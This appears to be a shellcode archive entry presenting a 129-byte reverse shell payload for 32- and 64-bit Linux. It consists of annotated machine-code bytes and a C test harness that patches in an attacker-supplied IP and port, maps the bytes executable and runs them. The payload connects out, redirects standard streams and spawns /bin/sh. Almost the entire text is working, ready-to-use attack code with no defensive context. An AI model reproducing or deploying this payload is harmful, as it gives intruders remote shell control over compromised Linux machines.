Linux Multi/Dual Mode Reverse Shell Shellcode

129 bytes small Linux multi/dual mode reverse shell shellcode.


MD5 | 54e23ca8ff9c6f051550dc5b3c24c7a1

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#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/mman.h>

// reverse shell for 32 and 64-bit Linux
//
#define RS_SIZE 129

char RS[] = {
/* 0000 */ "\xb8\xfd\xff\xfb\x2d" /* mov eax, 0x2dfbfffd */
/* 0005 */ "\xbb\x80\xff\xff\xfe" /* mov ebx, 0xfeffff80 */
/* 000A */ "\xf7\xd0" /* not eax */
/* 000C */ "\xf7\xd3" /* not ebx */
/* 000E */ "\x50" /* push rax */
/* 000F */ "\x50" /* push rax */
/* 0010 */ "\x54" /* push rsp */
/* 0011 */ "\x5f" /* pop rdi */
/* 0012 */ "\xab" /* stosd */
/* 0013 */ "\x93" /* xchg ebx, eax */
/* 0014 */ "\xab" /* stosd */
/* 0015 */ "\x54" /* push rsp */
/* 0016 */ "\x5d" /* pop rbp */
/* 0017 */ "\x31\xc0" /* xor eax, eax */
/* 0019 */ "\x99" /* cdq */
/* 001A */ "\xb0\x67" /* mov al, 0x67 */
/* 001C */ "\x6a\x01" /* push 0x1 */
/* 001E */ "\x5e" /* pop rsi */
/* 001F */ "\x6a\x02" /* push 0x2 */
/* 0021 */ "\x5f" /* pop rdi */
/* 0022 */ "\x48\x75\x19" /* jnz 0x3e */
/* 0025 */ "\xb0\x29" /* mov al, 0x29 */
/* 0027 */ "\x0f\x05" /* syscall */
/* 0029 */ "\x97" /* xchg edi, eax */
/* 002A */ "\x96" /* xchg esi, eax */
/* 002B */ "\xb0\x21" /* mov al, 0x21 */
/* 002D */ "\x0f\x05" /* syscall */
/* 002F */ "\x83\xee\x01" /* sub esi, 0x1 */
/* 0032 */ "\x79\xf7" /* jns 0x2b */
/* 0034 */ "\x55" /* push rbp */
/* 0035 */ "\x5e" /* pop rsi */
/* 0036 */ "\xb2\x10" /* mov dl, 0x10 */
/* 0038 */ "\xb0\x2a" /* mov al, 0x2a */
/* 003A */ "\x0f\x05" /* syscall */
/* 003C */ "\xeb\x1f" /* jmp 0x5d */
/* 003E */ "\x56" /* push rsi */
/* 003F */ "\x5b" /* pop rbx */
/* 0040 */ "\x52" /* push rdx */
/* 0041 */ "\x53" /* push rbx */
/* 0042 */ "\x57" /* push rdi */
/* 0043 */ "\x54" /* push rsp */
/* 0044 */ "\x59" /* pop rcx */
/* 0045 */ "\xcd\x80" /* int 0x80 */
/* 0047 */ "\x93" /* xchg ebx, eax */
/* 0048 */ "\x59" /* pop rcx */
/* 0049 */ "\xb0\x3f" /* mov al, 0x3f */
/* 004B */ "\xcd\x80" /* int 0x80 */
/* 004D */ "\x49\x79\xf9" /* jns 0x49 */
/* 0050 */ "\x6a\x10" /* push 0x10 */
/* 0052 */ "\x55" /* push rbp */
/* 0053 */ "\x53" /* push rbx */
/* 0054 */ "\x54" /* push rsp */
/* 0055 */ "\x59" /* pop rcx */
/* 0056 */ "\x6a\x03" /* push 0x3 */
/* 0058 */ "\x5b" /* pop rbx */
/* 0059 */ "\xb0\x66" /* mov al, 0x66 */
/* 005B */ "\xcd\x80" /* int 0x80 */
/* 005D */ "\x99" /* cdq */
/* 005E */ "\x31\xf6" /* xor esi, esi */
/* 0060 */ "\x50" /* push rax */
/* 0061 */ "\x50" /* push rax */
/* 0062 */ "\x50" /* push rax */
/* 0063 */ "\x54" /* push rsp */
/* 0064 */ "\x5b" /* pop rbx */
/* 0065 */ "\x53" /* push rbx */
/* 0066 */ "\x5f" /* pop rdi */
/* 0067 */ "\xc7\x07\x2f\x62\x69\x6e" /* mov dword [rdi], 0x6e69622f */
/* 006D */ "\xc7\x47\x04\x2f\x2f\x73\x68" /* mov dword [rdi+0x4], 0x68732f2f */
/* 0074 */ "\x40\x75\x04" /* jnz 0x7b */
/* 0077 */ "\xb0\x3b" /* mov al, 0x3b */
/* 0079 */ "\x0f\x05" /* syscall */
/* 007B */ "\x31\xc9" /* xor ecx, ecx */
/* 007D */ "\xb0\x0b" /* mov al, 0xb */
/* 007F */ "\xcd\x80" /* int 0x80 */
};

void bin2file(void *p, int len)
{
FILE *out = fopen("rs.bin", "wb");
if (out!= NULL)
{
fwrite(p, 1, len, out);
fclose(out);
}
}

void xcode(char *s, int len, uint32_t ip, int16_t port)
{
uint8_t *p;

p=(uint8_t*)mmap (0, len,
PROT_EXEC | PROT_WRITE | PROT_READ,
MAP_ANON | MAP_PRIVATE, -1, 0);

memcpy(p, s, len);
memcpy((void*)&p[3], &port, 2); // set the port
memcpy((void*)&p[6], &ip, 4); // set the ip

//bin2file(p, len);

// execute
((void(*)())p)();

munmap ((void*)p, len);
}

int main(int argc, char *argv[])
{
uint32_t ip = 0;
int16_t port = 0;

if (argc!=3) {
printf ("\nrs_test <ip> <port>\n");
return 0;
}
ip = inet_addr(argv[1]);
port = atoi(argv[2]);

if (port<0 || port>65535) {
printf ("\ninvalid port specified");
return 0;
}
port = htons(port);
// invert both to mask null bytes.
// obviously no rigorous checking here
ip = ~ip;
port = ~port;

xcode (RS, RS_SIZE, ip, port);
return 0;
}


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